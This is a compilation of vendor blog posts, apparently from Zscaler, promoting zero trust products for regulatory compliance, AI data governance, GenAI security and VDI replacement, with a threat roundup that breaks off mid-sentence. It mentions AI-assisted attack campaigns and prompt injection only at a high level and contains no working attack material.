resilience without relying on legacy infrastructureBy removing dependence on centralised VPNs and traditional perimeter controls, Zscaler helps reduce single points of failure and supports more resilient access to critical applications. In a hub-and-spoke design, one failed concentrator or one compromised branch can become a disruption to payments or claims processing. Connecting users directly to the applications they are authorised to use removes that path.Maintain access during disruptionCapabilities such as Business Continuity Cloud, part of Zscaler Resilience, help organisations preserve secure user access during major outages or disruptive events. It provides a customer-specific backup instance, isolated from the primary cloud, that maintains equivalent security policy during failover rather than bypassing controls to restore connectivity. Private Service Edge offers a local on-ramp, and disaster recovery mode lets Zscaler Client Connector fall back to pre-defined emergency policies. Our Resilience Audit helps teams rehearse failover against their own recovery time objectives, which supports the testing CPS 230 requires, including scenarios where a material service provider fails.Improve visibility across third-party servicesWith Zscaler Digital Experience (ZDX), teams can monitor the digital experience across users, SaaS platforms and service providers, helping support oversight of critical external dependencies. When a disruption occurs, ZDX shows whether it originated in your own environment, with an ISP or with a SaaS provider. That is the kind of evidence CPS 230 expects when you monitor material service providers against agreed service levels.Support local enforcement and data handling requirementsZscaler's presence in Australia helps organisations align security enforcement more closely with local operational and data handling expectations. CPS 230 requires entities to assess the risks of geographic location and to notify APRA before entering a material offshoring arrangement, so knowing where traffic is processed and where logs are held is part of the assessment.Support your due diligence on Zscaler itselfCPS 230 treats providers of risk management and core technology services as material unless the entity can justify otherwise, so a security platform that supports critical operations is likely to appear on your register. We built the CPS 230 guide on that assumption. To support your assessment, Zscaler provides independent assurance, including IRAP assessment at the PROTECTED level, SOC 2 Type II and ISO/IEC 27001, through the Zscaler Compliance Center; live availability and performance data on the Zscaler Trust Portal; contractual SLAs; and open standards such as SAML, SCIM, IPsec and GRE that support an orderly exit if one is ever needed.How Zscaler Supports CPS 234Reduce attack surface and limit lateral movementZscaler connects users directly to approved applications rather than placing them on the corporate network, helping reduce exposure and contain compromise. With Zscaler Private Access (ZPA), private applications are not reachable from the internet, so there is nothing for an attacker to scan, and a compromised account reaches only the applications that user was entitled to.Inspect traffic and stop threats inlineInline inspection and advanced threat protection help identify malicious activity before it reaches users or sensitive environments. Zscaler Internet Access (ZIA) inspects internet and SaaS traffic, including encrypted traffic, with cloud firewall, intrusion prevention, DNS security and sandboxing applied in a single pass.Protect sensitive data wherever it movesDLP and CASB capabilities help organisations discover, classify and protect sensitive information across web, SaaS and private application traffic. Exact data match, file fingerprinting and optical character recognition let you apply controls proportionate to the sensitivity of each information asset, which is what CPS 234 asks of control design.Strengthen control consistency in hybrid environmentsZscaler applies policy more consistently across branch offices, remote users, cloud workloads and third-party access models. One policy, enforced everywhere and logged on every transaction, also gives you continuous evidence of control effectiveness, far more than a point-in-time sample, which supports the systematic testing CPS 234 requires. The Next Test: Extending the Same Principles to AIWhat we are seeing is Boards shifting the question from "are we secure?" to "can we keep delivering critical operations when something we depend on fails?" APRA's April 2026 letter on artificial intelligence raises that bar again. AI agents, AI built into supplier platforms and staff using unapproved AI tools bring new identities, new data flows and new fourth-party dependencies. APRA has said it expects enforceable preventative controls and continuous assurance, and that policy direction and after-the-fact detection on their own fall short.The Zero Trust principles that underpin CPS 230 and CPS 234 now have to extend to AI: verify every identity, human or machine, and inspect every flow. Institutions that treat these standards as the foundation for governing AI will be best placed to adopt it with confidence. Those that treat them as a finished compliance exercise will be revisiting the same gaps under a new heading. What Remains With the Regulated EntityZscaler provides technical controls, telemetry and architecture. Risk appetite, the designation of critical operations, tolerance levels, Board approvals, materiality decisions and notifications to APRA stay with the institution. Nothing Zscaler provides replaces your own legal, regulatory or prudential assessment. Simplify Your Compliance JourneyNavigating APRA's requirements is a continuous journey, and it calls for a unified approach to security and resilience that serves both standards at once. The Zscaler Zero Trust Exchange gives financial institutions a technical foundation that supports both CPS 230 and CPS 234 while allowing them to adopt cloud services with confidence.To support that work, we have developed a control mapping guide for each standard, and a third for APRA's AI expectations. They work through the requirements one by one, separating what the entity owns from how Zscaler capabilities align, and are written to support control design and evidence discussions with your risk, audit and security teams.Download the CPS 230 Control Mapping Guide Download the CPS 234 Control Mapping GuideDownload the APRA AI Supervisory Expectations Mapping GuideTo discuss how these map to your own critical operations and tolerance levels, contact your Zscaler team.

How to Build an AI Governance Framework for Manufacturing

Benjamin Corll (CISO in Residence) — Fri, 06 Nov 2026 13:26:27 GMT

Shadow AI, the use of unsanctioned AI tools by employees, creates a massive security blind spot in manufacturing by exposing sensitive intellectual property. To manage this, organizations must implement a governance framework to gain visibility, enforce security guardrails, and guide teams to use AI safely without slowing down innovation.Key TakeawaysShadow AI is a Major Risk: Unsanctioned AI use is growing rapidly in manufacturing, creating a high risk of intellectual property theft when employees upload proprietary data like CAD files or formulas to public AI models. The Solution is Governance, Not Blocking: Instead of banning AI, the best approach is an "See it, Guide it, Secure it" governance framework that provides visibility and control over how AI is used. A Proactive Plan is Key: A focused 60-day plan can help you move from a reactive security posture to proactively managing AI risks, enabling you to gain visibility and enforce security policies quickly. AI is already on your factory floor, now what?AI is driving the next generation of manufacturing innovation, from the design engineer’s desktop to the supply chain analyst's dashboard. But for many organizations, this push to adopt AI creates a massive security blind spot. Enterprise AI/ML transactions have surged by 83% year-over-year, with the number of AI applications in use quadrupling to over 3,400, according to the Zscaler Threatlabz 2026 AI Security Report. The manufacturing industry is a primary driver of this trend, accounting for 19.5% of all enterprise AI/ML activity. The data is clear: AI is already on your factory floor. The question is, are they using it safely? The same tool that boosts productivity, if not governed, can also become a black hole of your most sensitive intellectual property. To prevent this, you need the ability to see AI tools in your environment and control what data should be allowed and what should be blocked without impacting productivity. The reality of shadow AI in manufacturing The pressure to innovate faster and do more with less is driving the unsanctioned use of AI tools that operate outside of IT’s visibility. This is the world of “Shadow AI,” and it is one way of how your most sensitive data is getting exposed, creating a need for security controls that traditional tools were never designed for.This risk often appears in workflows you might not expect:Are your designers uploading CAD files to AI? A design engineer uses a public AI model to simulate performance, unknowingly adding proprietary designs to a public dataset. Are your engineers getting troubleshooting recommendations from AI? A process engineer pastes PLC fault logs into ChatGPT to find a fix, exposing operational data. Is your IP protected from AI prompts? A quality manager submits batch formulation data to a free-tier tool, and that data is now retained for training the public model. The irony is that in the pursuit of productivity, employees are the very ones exposing your most valuable intellectual property. Unknowingly they are causing the same risk as an external attacker. An AI governance framework for manufacturingThe solution isn't blocking AI; it's implementing an AI governance framework that enables safe adoption and usage. This is the foundation for protecting your organization (and its IP) while empowering your workforce. But building this framework requires acknowledging a hard truth: most manufacturing organizations are not prepared for the security risks of AI. This lack of preparedness is a critical, industry-wide blindspot. The Zscaler ThreatLabz 2026 Frontier AI Readiness Report recently assessed enterprise readiness for AI threats and found that the AI governance pillar scored a shockingly low 10.5%, the worst of all categories. This proves that while AI adoption is high, the maturity to secure it is dangerously low.A successful framework is built on three pillars:See it (Visibility): The first step to governing AI is an inventory of AI application in your organization, including those on employees' endpoints and running in the cloud. You can't protect what you can't see, yet what you cannot see can’t be governed. Guide it (Guardrails): Go beyond static acceptable use policies. This is where you enforce rules with automated, real-time controls that actively protect your data and prevent misuse. For example, you can:Prevent sensitive IP from being uploaded blocking files like CAD drawings, source code, or product formulas from being sent to public AI models. Control user prompts by analyzing what users are asking and blocking requests that are malicious, outside of approved use cases, or attempt to exfiltrate data. Intent-based monitoring is also available to detect if/when users are trying to work around IT’s controls. Coach users in real-time by instantly notifying them when they attempt a risky action, reinforcing your security policies and guiding them to safer alternatives. This is similar to a floor’s safety supervisor who walks around to ensure workers are adhering to factory safety guidelines and enforcing the use of PPE such as earplugs and safety glasses. Secure It (enforce & educate): This isn’t a "set it and forget it" process. The final step is to continuously monitor AI usage to detect policy violations, educate users in real-time, and refine your guardrails as new AI tools and risks emerge.Shadow AI thrives when no sanctioned, viable alternative exists. This framework provides the blueprint to create that alternative, moving your organization from reactive to proactive and replacing ambiguity with control. By establishing clear guardrails and enabling safe AI tools, you remove the primary driver for unsanctioned use. But a blueprint is only useful when you start building. Your first 60 days: A plan to Control Shadow AIGaining control over Shadow AI does not require a multi-year project. It requires a focused effort. Here is a 60-day roadmap to get you started.Days 1-15 Discovery: Gain visibility of AI usage across business units, engineering, and the plant floor.Days 16-30 Risk Assessment: Learn which apps are in use and how employees are using them.Days 31-60 Guardrails & Ownership: Define and enforce policies & controls, enabling the business to direct users to enterprise-governed AI applications.At the end of these 60 days, Shadow AI is no longer a blind spot. You will have the visibility and controls needed to protect your intellectual property while guiding your teams toward sanctioned, enterprise-ready AI. This transforms your security posture from reactive to proactive, creating a culture where secure innovation can thrive. Turn AI Risk into Your Competitive AdvantageYou don’t have to choose between innovation and security. With a Zero Trust architecture built for the age of AI, you can empower your teams to innovate both quickly and safely. Get the complete blueprint for enabling AI innovation without exposing your intellectual property. Watch the on-demand webinar Enabling AI Innovation Without Exposing Intellectual Property.

How to Secure GenAI Usage in the Enterprise

Julia Benson (Senior Web Content Writer) — Thu, 05 Nov 2026 22:17:57 GMT

Securing GenAI usage matters because generative AI is now part of daily work, and every prompt can carry sensitive data. Employees use GenAI to write code and summarize documents in seconds, while CISOs work to keep source code, customer records, and intellectual property from leaving the organization through those same prompts.The Zscaler ThreatLabz 2026 AI Security Report found that enterprise AI and machine learning (ML) transactions rose 91% year over year in 2025, reaching 989.3 billion across the Zscaler Zero Trust Exchange™ platform. Data volume followed: 18,033 TB of corporate data flowed to AI and ML applications, a 93% increase.ChatGPT alone generated over 410 million data loss prevention (DLP) policy violations as users tried to share sensitive intellectual property and source code.According to the same report, enterprises blocked 39% of AI and ML transactions in 2025. Blocked transactions often indirectly encourage employees to use unsanctioned tools. Unrestricted access, which allows open use of any AI app without data controls, puts intellectual property and customer trust at risk.To safely adopt AI with confidence, organizations should adopt a secure-by-design zero trust architecture. From blocked to enabled: How zero trust secures GenAI usageZero trust secures GenAI usage by continuously verifying the user, device, application, and content of every AI session. Unlike static controls, which make one decision per destination, continuous controls evaluate each prompt and upload in real time and can change their decision the moment risk changes.A static control, such as an IP block list or URL filter, makes one decision based on the destination and applies it to every session. If the AI domain is approved, all traffic passes, whether the prompt asks for a recipe or contains source code.A continuous control keeps checking throughout the session. It evaluates the identity of the user, the health of the device, the specific application, and the content of each prompt and upload. It can change its decision the moment any of those factors change.This difference matters because GenAI risk lives in the payload. Static tools verify the address but ignore the content of the prompt, the uploaded file, and the model’s response, so sensitive data in transit goes unchecked. Their lists also need manual updates, and new AI apps can be deployed faster than any list can grow. Continuous controls apply policy to every request in real time.Zero trust changes what security teams inspect. Instead of trusting a destination, it evaluates every request on its own merits, using live context about who is asking, from which device, and what the content contains. The Zscaler Zero Trust Exchange applies this model inline, between users and AI apps, so policy decisions happen before data leaves the organization.Three core zero trust capabilities make that verification practical:Continuous asset discovery: It all starts with full visibility. Automated discovery enables the identification of shadow AI tools, custom-built models, and third-party SaaS integrations with embedded AI features.Granular access control: Identity is what drives every decision. Policies grant access to internal or high-risk LLMs to authorized personnel only. Rules adapt to role, device posture, and risk level.Browser isolation: Browser isolation streams external LLM sessions to the user as safe pixels. Employees get read-only interaction with the model. Administrators can restrict pasting, uploading, and downloading inside the session. “Zero trust mandates continuous verification of identity and trustworthiness of users, devices, and networks, regardless of their location or whether they are inside or outside the network perimeter.”– Ankit Gupta, Sr. Product Marketing Manager, Zscaler Comparing GenAI security approachesSecurity DimensionThe “Block Everything” ApproachLegacy Bolt-on SecurityUnified Zero Trust SASE with ZscalerBusiness EnablementHalts productivity and drives employees toward unsanctioned toolsPermits limited use and degrades the user experienceProvides secure browser isolation for unsanctioned GenAI appsDLP SophisticationOffers none because queries are simply blockedApplies static filters that miss prompt contextAnalyzes prompt content in real time with user and app contextSSL InspectionLeaves allowed AI traffic uninspectedAdds latency and leaves blind spots in encrypted streamsInspects SSL in a single-pass architecture at petabyte scaleCompliance ReadinessAchieves compliance only by restricting employee productivityLacks a unified dashboard for reporting and auditsProvides built-in compliance mapping for frameworks such as the EU AI Act and NIST AI RMF How to prevent data leakage in GenAI workflowsThe most critical step in preventing data leakage in GenAI workflows is keeping proprietary data out of public LLMs. Source code, customer records, and API keys submitted in a single prompt can leave enterprise control permanently, and some public models may use submitted content for training. Prevention must happen before the data leaves the network.Enable inline SSL inspection and real-time DLPNearly all GenAI traffic is encrypted, so inspection starts with decrypting it. Inline SSL inspection opens each session at scale, and the content then passes through data loss prevention (DLP) engines in the same pass.Context-aware DLP reads the prompt itself. It weighs the user, the destination app, and the data type, then decides whether to allow, redact, or block. This intercepts file uploads and copy-paste events as they happen. For example, a developer can ask an LLM to explain a public algorithm, but a prompt containing an internal API key is stopped.Enforce Cloud Browser Isolation for safe researchBrowser isolation lets employees use GenAI tools safely. The AI session runs in a secure cloud container, away from the employee’s device, which receives only a live image of the page, much like a video stream. “Cloud Browser Isolation renders web content in the cloud, and streams threat-free web page content to users, preventing web-based threats from reaching and infecting employee devices…By isolating web content in the cloud, CBI provides enhanced protection against web-based threats, simplifies security management, and supports remote work.”– Niraj Gopal, Head of Product Management, Federal and Sovereign Clouds, Zscaler Employees can still read, research, and learn from the model. CBI blocks clipboard transfers and enterprise file uploads, so productivity continues while sensitive data remains protected. Security concerns for custom-built LLMs and autonomous agentsEnterprises that build their own AI apps or deploy multiagent systems through the Model Context Protocol (MCP) face three prevalent risks:Prompt injection: Attackers trick models into following hidden instructions.Data poisoning and model tampering: Attackers corrupt training data or alter the model itself.Unauthorized agent actions: Autonomous agents may run tools or call APIs without authorization.These weaknesses are easy to exploit. In red team testing for the ThreatLabz 2026 AI Security Report, Zscaler found critical vulnerabilities in 100% of the AI systems tested, with a median time to first critical failure of 16 minutes.Regulatory expectationsUnder the EU AI Act, providers of general-purpose AI models must maintain technical documentation covering the model’s training and testing process and the data used for training, testing, and validation. According to the European Commission’s guidelines, an organization that fine-tunes a model becomes the provider of a general-purpose AI model only when the modification uses more than one-third of the original training compute.The EU AI Act also sets separate risk management and documentation duties for high-risk AI systems. Teams should record datasets, security controls, and risk assessments from the start.Containing a compromised agentMicrosegmentation backed by zero trust principles gives each agent, model, and data store its own boundary. Strict API controls limit which tools and endpoints an agent can call. If an attacker hijacks one agent, the compromise stays inside that segment, and lateral movement across the corporate network stops. The path forward: Innovate with confidenceSecuring generative AI works best when security controls act as an invisible guardrail. Employees maintain productivity, and the organization keeps its data secure.The Zscaler Zero Trust Exchange secures generative AI usage, gives security teams full inline visibility into AI traffic, and applies real-time DLP to every prompt. Zscaler Zero Trust Browser contains risky sessions. Microsegmentation and API control protect custom models and agents. Built-in compliance mapping helps organizations align with regulatory frameworks like the EU AI Act and NIST AI RMF.With zero trust in place, every new AI model or agent enters an environment that already verifies identity and inspects content. Access stays limited to what each user or agent needs, and teams can scale AI initiatives without waiting for security reviews to catch up.With Zscaler, organizations can say yes to generative AI with confidence. Request a custom product demo to learn more.

When AI and Multicloud Broke the Financial Services Compliance Playbook

Nikitha Omkar (Senior Product Marketing Manager) — Wed, 04 Nov 2026 23:00:00 GMT

Two forces are rewriting financial services compliance - and regulators are no longer waiting. The 2026 IBM Cost of a Data Breach Report found AI-driven attacks surged 56% year over year, with financial services bearing the highest breach cost of any sector at $6.29 million per incident.1 Shadow AI alone adds $670,000.2 Meanwhile, cloud concentration risk turned theoretical when a 15-hour AWS outage in late 2025 simultaneously disrupted Coinbase, Robinhood, and parts of Lloyds Banking Group3 - prompting the EU to designate 19 critical ICT third-party providers under DORA for direct supervisory oversight.4 The regulatory response in 2026 has been sweeping: the U.S. Treasury published the Financial Services AI Risk Management Framework mapping 46 AI risks to technical controls,5 the Federal Reserve replaced SR 11-7 with SR 26-2 to carve out generative AI entirely,6 and FINRA became the first U.S. regulator to require firms to capture agentic AI output as supervised communications.7 AI and multicloud didn't just change the technology stack - they forced an overhaul of the compliance standards themselves. The legacy architecture problemMany financial institutions still run legacy infrastructure that makes compliance far more painful than it needs to be. Flat networks and VPN-centric models put sensitive data within reach of too many systems. Virtual firewalls replicate the complexity of physical appliances in every cloud, creating inconsistent controls and audit preparation processes that are manual, error-prone, and expensive.The result: compliance teams spend weeks pulling evidence for a single audit cycle, security architects maintain separate rule sets across environments, and a single misconfigured firewall can put an entire assessment at risk.When the architecture itself creates friction, no amount of process improvement will fix it. Why zero trust changes the equationA zero trust architecture flips the model. Instead of building walls around a network perimeter and trusting everything inside, zero trust assumes no implicit trust - every connection between users, devices, workloads, and applications is verified and governed by policy.For financial services compliance, this has three practical implications:Segmentation becomes a built-in control, not a bolt-on project. Frameworks like DORA, SWIFT, and PCI DSS all require network segmentation - isolating critical systems from the general IT environment. With zero trust, microsegmentation is the architecture. Workloads communicate only when an explicit policy permits it, enforced consistently across AWS, Azure, GCP, and on-premises environments. For PCI DSS, this kind of segmentation can reduce the scope of an entire assessment by isolating the cardholder data environment from the rest of the network.Evidence collection is a by-product, not a project. Zero trust platforms enforce policy continuously and log every flow and policy decision immutably. Those records can be exported directly to SIEM and GRC platforms, turning what used to be a manual evidence-gathering exercise into an automated output of day-to-day operations. For SOC 2 Type II examinations - where auditors test whether controls operated effectively over a sustained period - this kind of continuous evidence is exactly what's needed.AI workloads get the same governance as everything else. As banks adopt agentic AI, regulators are extending existing security obligations to cover AI deployments. A zero trust architecture applies the same least-privilege policies, egress controls, and traffic inspection to AI workloads that it does to core banking and payment systems. Data classification policies can govern which model endpoints a workload is permitted to call and prevent sensitive data from reaching unsanctioned models. Six frameworks, one architectural foundationOur new white paper, Audit-Ready by Design: How a Zero Trust Architecture Helps Financial Services Firms Simplify Compliance, maps the Zscaler Zero Trust Cloud's capabilities to six of the frameworks that matter most to financial services firms today:PCI DSS 4.0.1 - The payment card industry standard, now fully enforceable with its emphasis on continuous security and scope reduction through segmentation.SWIFT CSCF v2026 - The latest version of SWIFT's Customer Security Controls Framework, including the new scope expansion to customer client connectors.DORA - The EU's Digital Operational Resilience Act, now in active enforcement, covering ICT risk management, incident reporting, resilience testing, and third-party risk for more than 22,000 financial entities.SOC 2 - The AICPA's Trust Services Criteria, where continuous control evidence is central to a Type II examination.GDPR - The foundational data protection regulation, where microsegmentation and data loss prevention map to Article 32's security obligations.EU AI Act - The first comprehensive AI regulation, with cybersecurity requirements for high-risk systems that zero trust directly supports.For each framework, the paper provides a detailed control-by-control mapping that shows where the Zscaler Zero Trust Cloud delivers full coverage, where it provides partial support, and where responsibility sits entirely with the financial institution. It's an honest, transparent assessment - not a checkbox exercise. Built for the compliance reality financial firms face todayThe regulatory environment isn't going to simplify itself. Frameworks are overlapping, enforcement is accelerating, and the adoption of AI is introducing entirely new categories of risk that regulators are folding into existing obligations rather than waiting for new ones.The firms that will navigate this environment most effectively aren't the ones with the biggest compliance teams. They're the ones whose architecture makes compliance a natural outcome of how their systems operate - where audit readiness is built in, not bolted on.Download the white paper to see the full control-by-control mappings across all six frameworks and learn how a zero trust architecture can simplify your compliance posture. 1 IBM, Cost of a Data Breach Report 2026. Analysis: Varonis, "IBM's Cost of a Data Breach Report 2026," 2026.2 IBM, Cost of a Data Breach Report 2025; Analysis: Clarista, "AI Data Governance for Financial Services: A 2026 Framework."3 Cognetryx, "What Is Cloud Concentration Risk? A Guide for Financial Firms," 2026.4 European Supervisory Authorities (EBA, EIOPA, ESMA), CTPP designation, Nov 18, 2025. See: HYPR, "Cybersecurity Regulations for Financial Services for 2026 and Beyond."5 U.S. Dept. of the Treasury & FSSCC, Financial Services AI Risk Management Framework, Feb 19, 2026. See: Clarista, "AI Data Governance for Financial Services: A 2026 Framework."6 Federal Reserve SR 26-2, Apr 17, 2026; OCC Bulletin 2026-13. See: Superintelligence Compliance, "AI Regulation in Financial Services: SR 26-2 and Reg B."7 FINRA, 2026 Annual Regulatory Oversight Report, Dec 9, 2025. See: AccuroAI, "Financial Services AI Security: The 2026 Playbook."

Co-Elevation, Ownership, and a Path to Yes: What Makes Being an Account Executive at Zscaler Unique

Zscaler Life (Zscaler) — Wed, 04 Nov 2026 22:53:22 GMT

In an industry where enterprise sales cycles require deep perseverance and strategic acumen, Account Executive Srikrishnan V thrives by steering high-altitude conversations that transcend typical software transactions. By leveraging a collaborative network of internal teams and a shared commitment to the mission, Srikrishnan orchestrates transformations that fundamentally shape how global organizations operate and secure themselves.What makes working at Zscaler unique?What makes being an AE at Zscaler unique is that our impact goes far beyond a typical software sale. You get to become a trusted advisor that helps shape the trajectory of the world’s largest organizations. There's a real sense of co-elevation and ownership that’s built on a shared commitment to the mission and to each other. As an AE, you get to partner with C-suite to navigate systemic risk, accelerate digital transformation, and co-create solutions that open a clear path to yes for our customers' most complex challenges.What it takes to thrive as an AE at ZscalerThriving as an AE requires deep curiosity to uncover true client pain points and compelling storytelling to orchestrate business transformations. Success demands executive acumen, alongside the patience and perseverance needed to navigate long, multi-threaded enterprise deal cycles and inevitable roadblocks. Ultimately, top performers proactively guide the buying journey, leveraging internal teams to drive value from initial research to final signature.On career growthOur leadership team is absolutely invested to help you grow. You pick up challenges, and our leadership makes it possible for you to own it! You will never feel you have hit a plateau as there is always something more to achieve.

Replace VDI with Zero Trust Browser: Even Thick-Client Apps Can Now Be Streamed

Joby Menon (SVP, Product Management | Zscaler) — Wed, 04 Nov 2026 19:52:23 GMT

Replace VDI with Zero Trust Browser: Even Thick-Client Apps Can Now Be StreamedEvery major shift in how enterprises deliver applications has created a corresponding gap in security and access. Client-server gave way to web apps. Web apps moved to SaaS. SaaS moved to the browser. At each step, the access model caught up, sometimes years later.One holdout remains: thick-client applications.SAP GUI, financial modeling tools, developer IDEs, database management utilities. These applications still require a full desktop runtime. They cannot run natively in a browser, and organizations cannot simply rewrite them. So the default answer, for the past two decades, has been VDI.VDI works. It also costs up to $1,800 per user annually. It requires dedicated infrastructure: brokers, gateways, golden images, GPU pools, persistent storage, and specialized EUC teams to keep all of it running. Worse, VDI environments are network-centric by design. Desktops sit on internal networks with broad lateral movement paths, and access typically rides a VPN or VDI gateway that exposes a public attack surface. Recent high-profile vulnerabilities in those gateways have underscored exactly how fragile this model is.While Zero Trust Network Access has transformed how enterprises securely connect users to applications—including thick-client applications accessed through the Zscaler Client Connector—delivering those same thick clients to unmanaged devices remains a challenge. BYOD users, third-party contractors, and offshore teams often cannot install an endpoint agent, and for these scenarios, organizations still default to VDI, introducing significant infrastructure costs, operational complexity, and the same lateral movement risk they have been working to eliminate everywhere else.We built Zero Trust Browser Application Isolation to address that. The Zscaler Zero Trust Browser now supports thick-client application delivery through a capability we call Application Isolation.The concept is straightforward: thick-client applications execute inside isolated, ephemeral cloud environments managed by Zscaler. The user sees the application rendered inside the Zero Trust Browser, launched from the same landing page where their web and private applications already live. Administrators define which applications are available, assign them to user groups through access policies, and apply data protection controls through the same browser-native DLP they already use for web sessions.This post covers the architecture, how it changes the access model for thick clients, where the security controls sit, and what it means for organizations still running VDI. Traditional VDI delivers a full desktop. The user connects to a virtual machine, and inside that VM, they open the applications they need. The desktop is the unit of delivery. Everything that comes with a desktop (the OS, the image, the licensing, the patching, the startup time) comes along for the ride.Zscaler takes a different approach. Rather than requiring a dedicated VDI client or customer-managed infrastructure, it delivers cloud-hosted environments directly through the Zero Trust Browser. Users can seamlessly launch their desktop sessions in a browser tab, with access to their thick-client applications.The user opens the Zero Trust Browser and sees their entitled desktop environments alongside their web and private applications. One workspace. One landing page. One set of access policies governing all of it. Every session with Application Isolation routes through the Zscaler Zero Trust Exchange. Internet and SaaS traffic flows through ZIA for full inline inspection. Private application traffic flows through ZPA. All connections are brokered and identity-verified, bound to the authenticated user, not to a network path.There is no direct outbound route that bypasses Zscaler. The architecture enforces this by design, not by policy.Last-mile data protection controls apply at the browser layer. Clipboard restrictions, file transfer controls, dynamic watermarking, and anti-screenshot protection all work the same way they do in web isolation sessions. Administrators configure them from the same console, using the same policy framework. If you already manage DLP policies in the Zero Trust Browser for web applications, the same policies extend to thick-client sessions without additional configuration.Session persistence is enabled by default. Users can disconnect and reconnect to a running session with unsaved work intact. In future releases, we will introduce configurable session persistence policies, including an ephemeral mode where the environment self-destructs on disconnect and leaves no residual state—ideal for high-risk contractor scenarios.In the demo below, the user launches a persistent, isolated thick-client workspace directly from the Zero Trust Browser landing page — one click into a new tab, no local agents, VDI clients, or complex setup required. From there, they connect to a corporate CRM database hosted behind Zscaler Private Access, opening DBeaver and querying live account data without ever touching a VPN. To show the flexibility of the environment, they then drop into the command line and install the Geany editor using standard sudo permissions — just as they would on a local machine. Throughout the session, mouse tracking stays fluid and keyboard input registers instantly, with no perceptible latency between the remote workspace and the user's browser. Three things have converged to make this urgent.First, VDI licensing economics are getting worse, not better. Major vendors have raised prices and changed licensing terms repeatedly over the past several years. For organizations running thousands of VDI seats primarily to deliver a handful of thick-client applications, the cost-per-app math has become increasingly difficult to justify.Second, contractor and BYOD access patterns have grown more complex. Offshore development teams, third-party service providers, and acquired employees all need access to internal thick-client applications. Installing endpoint agents on unmanaged devices is often impractical or prohibited. VDI has been the default fallback, but it introduces the same infrastructure burden and lateral movement risk for external users that it does for internal ones.Third, the Zero Trust Browser has matured to the point where extending it into application delivery is a natural next step. The browser already handles web isolation, data protection, posture verification, and identity-based access. Adding cloud-hosted thick-client rendering to that same architecture lets organizations consolidate another access silo onto a platform they already operate. Replace VDI with Zscaler Zero Trust Browser. Instead of maintaining slow, expensive, and complex virtual desktops to run a handful of desktop apps, you can now publish remaining thick-client workloads directly into Zscaler’s Zero Trust Browser. By consolidating your thick-client access alongside the web and SaaS applications you already deliver natively through the browser, you can completely replace VDI solutions. The applications keep running while the complex infrastructure goes away.Secure contractor and offshore access without agents. Third-party developers access SAP, database utilities, and development environments from personal laptops through the Zero Trust Browser. Enterprise data stays inside the cloud. Copy/paste and file downloads are governed by policy.Stand up developer workspaces. Engineers get persistent, pre-configured environments with their IDEs, terminals, and database tools. Source code never touches the local endpoint, and connectivity to internal repositories flows through ZPA.Enforce DLP on sensitive applications. Financial analysts run modeling tools inside watermarked, screenshot-protected sessions. The controls are browser-native, so the user's workflow stays the same.Accelerate M&A onboarding. Acquired employees access core business applications through the browser on day one. No network integration, no Active Directory trust configuration, no months of infrastructure work before someone can be productive. Application Isolation extends the Zero Trust Browser from an access and security layer into an application workspace. For organizations that have already consolidated internet, SaaS, and private application access onto the Zscaler Zero Trust Exchange, thick-client delivery was one of the last remaining reasons to maintain a parallel VDI environment.That reason is going away.The direction is the same one that has guided the platform from the beginning: every layer doing the job it does best, every layer working together, and zero trust extending wherever work happens.To learn more about Application Isolation in the Zero Trust Browser, contact your sales representative.

Zscaler CXO Monthly Roundup | October 2026

Deepen Desai (EVP, Chief Security Officer) — Wed, 04 Nov 2026 19:00:41 GMT

IntroductionSince April 2026, with the advent of more capable models like Anthropic Mythos and OpenAI GPT Cyber, we as an industry have warned about the risks these models pose to global organizations when placed in adversaries’ hands. While they unlock transformative potential for security engineers seeking to embed AI into their workflows, they also expand the attack surface for organizations facing increasingly sophisticated attacks when used by threat actors.We have now observed several instances of AI being used to launch large-scale attack campaigns globally. At the same time, more vulnerabilities are being discovered and exploited in increasingly short time frames. The figure below shows some of the notable threat activity from October highlighting this trend.Threat actors in many of these attack campaigns have used open-weight models and clever harness engineering to compromise several global organizations.This month, my roundup examines how AI is becoming part of the attacker’s infrastructure. A campaign involving the ARTEX framework shows how attackers are coordinating work across AI models and carrying results from one stage to the next using multiple agents. I also take a closer look at PHP2Shell and what shorter response windows mean for enterprise security.In the rest of my roundup, I cover an APT campaign in which suspected TraderTraitor actors used a trojanized Terraform provider to deliver cross-platform malware. I also examine an SEO poisoning campaign distributing Armorsteal, a new malware family discovered by ThreatLabz.Across these stories, attackers are changing how they turn exposure into access. Security leaders need to know where their organizations are vulnerable and be ready to act quickly. To level the playing field, defenders must invest in AI-driven security controls and prioritize architectural choices that strengthen their security posture. AI Is Becoming Part Of The Attacker’s InfrastructureAttackers are adopting agentic AI workflows to run their operations. Different models handle different tasks with results carried forward into the next stage of the attack.ThreatLabz recently investigated a series of AI-assisted attacks that initially appeared to target South Korean financial institutions. As our analysis continued, we found that the activity was much broader than the initial targeting suggested, spanning multiple countries and industries.At the center was ARTEX, an agentic penetration testing framework designed to use large language models (LLMs) to automate offensive security workflows. The threat actor combined ARTEX with AI coding assistants configured to use models including DeepSeek, GLM, and Grok, as well as custom scripts to carry out their global campaign.What stood out to me was how AI was incorporated into the attack workflow. ARTEX broke objectives into smaller tasks. Across the entire workflow, multiple agents were assigned work with models selected based on their specialities and used to check each other’s results. That cross-model review helps identify gaps or mistakes before the attack progresses forward.The ARTEX assisted global AI attack workflow is shown below:The attack tactics and techniques themselves do not have to be new to create great risk. AI can make them easier to put into practice and repeat at scale in a very short timeframe. Security leaders need to account for that change in how attacks are carried out with significantly reduced response times.Priorities for CXOs and security leadersHide and reduce your attack surface wherever possible. What can’t be discovered is harder to exploit using AI. (e.g. Zscaler Private Access (ZPA))Use deception to detect and contain agentic attacks. (e.g. Zscaler Deception)Find and fix vulnerabilities using AI-powered exposure management to address weaknesses before attackers exploit them. (e.g. Zscaler AI Exposure Management)Apply Zero Trust everywhere (including inside the office), not just for remote access.Minimize blast radius with segmentation with an assume-breach mindset. (e.g. ZPA with AI Segmentation)Modernize security operations for machine-speed defense and perform red teaming on all external assets. (e.g. Zscaler Agentic SecOps)Read the ThreatLabz analysis of the global AI-assisted hacking campaign.Zscaler Zero Trust Exchange Coverage – Zscaler Internet Access (Advanced Cloud Sandbox, Advanced Threat Protection, SSL Inspection), Deception, Zscaler Private Access (AI Segmentation), Zscaler AI Protect, Zscaler Agentic SecOps PHP2Shell: From Weeks To Hours – Rethinking Enterprise ResponsePHP2Shell reinforces the need for enterprise security teams to understand where vulnerable PHP deployments exist and act quickly to reduce their exposure. As AI helps attackers analyze vulnerabilities and develop exploits faster, organizations need to prepare for shorter response windows.CVE-2026-109618 and CVE-2026-109619 affect the core PHP engine. Successful exploitation could allow unauthenticated remote code execution or expose sensitive data from memory. Our ThreatLabz 